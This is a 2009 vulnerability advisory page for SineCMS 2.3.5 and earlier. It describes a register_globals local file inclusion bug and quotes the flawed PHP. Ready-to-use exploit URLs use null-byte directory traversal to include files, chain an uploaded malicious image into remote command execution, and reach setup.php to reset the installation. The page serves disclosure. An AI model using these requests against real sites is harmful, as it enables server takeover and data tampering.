SineCMS <= 2.3.5 Local File Inclusion / RCE Vulnerabilities

2009.09.05
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

| Sine CMS Local File Inclusion / RCE (Register_globals: ON) | | Version: <= 2.3.5 | | Vendor: www.sinecms.net | | Discovered by: KiNgOfThEwOrLd | [*]~~~~~[*] Intro: Sine cms is affected by a local file inclusion vulnerabily with register_globals on. [*]~~~~~[*] Related code: /mods/Integrated/index.php <? if ($_GET[page]=="source"){ include "mods/Integrated/source.php"; } else { // cerca la home e la themizza include_once ("mods/".$sine[config][index_main]."/index.php"); $mods = $sine[config][index_main]; } ?> [*]~~~~~[*] PoC: Usually, this is a correctly code, with no possible exploitation. But if register_globals is ON, we can edit via GET the $sine[config][index_main] value, and then, using null byte, we'll get a local file inclusion vulnerability like: http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]={FILE_TO_INCLUDE}%00 But pay attention, in this way the include_one function will try to include "mods/{FILE}"; certainly, using the directory traversal var, we can surf and include any files, but "mods/{FILE}" is different from "/mods/{FILE}"! In fact, in this case, the script will try to include "/mods/Integrated/mods/{FILE}"! So, the cms root path will be accessible with "../../../" and not "../../". [*]~~~~~[*] How to get a Remote Command Execution Sine CMS, allows everybody to send a news with an image, uploadable directly on the host. Then, uploading an evil script as an image, we'll get a shell in /mods/Core/data/images/{EVIL_IMAGE}. Now, including that file by the local file inclusion vulnerability that i've just explaned we'll get a remote command execution. [*]~~~~~[*] Exploit: http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]=.. /../Core/data/images/{EVIL}.jpg%00 [*]~~~~~[*] Just a little security issue Realted code: setup.php @ line 98 [...] if(file_exists("./sine.lock")) $locked=1; [...] [*]~~~~~[*] PoC: After the installation, sine cms makes a file (sine.lock), to check if the cms has been already installed. But the condition is true if "./sine.lock" exist, so only if there is sine.lock in the current work dir! Then, including via local file inclusion "setup.php" the condition will result false, and we can rewrite, delete, or edit the installation. [*]~~~~~[*] Exploit: http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]=../../../setup.php%00 [*]~~~~~[*]

References:

http://xforce.iss.net/xforce/xfdb/39446
http://www.securityfocus.com/bid/27156
http://www.milw0rm.com/exploits/4854
http://secunia.com/advisories/28305
http://osvdb.org/40084


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top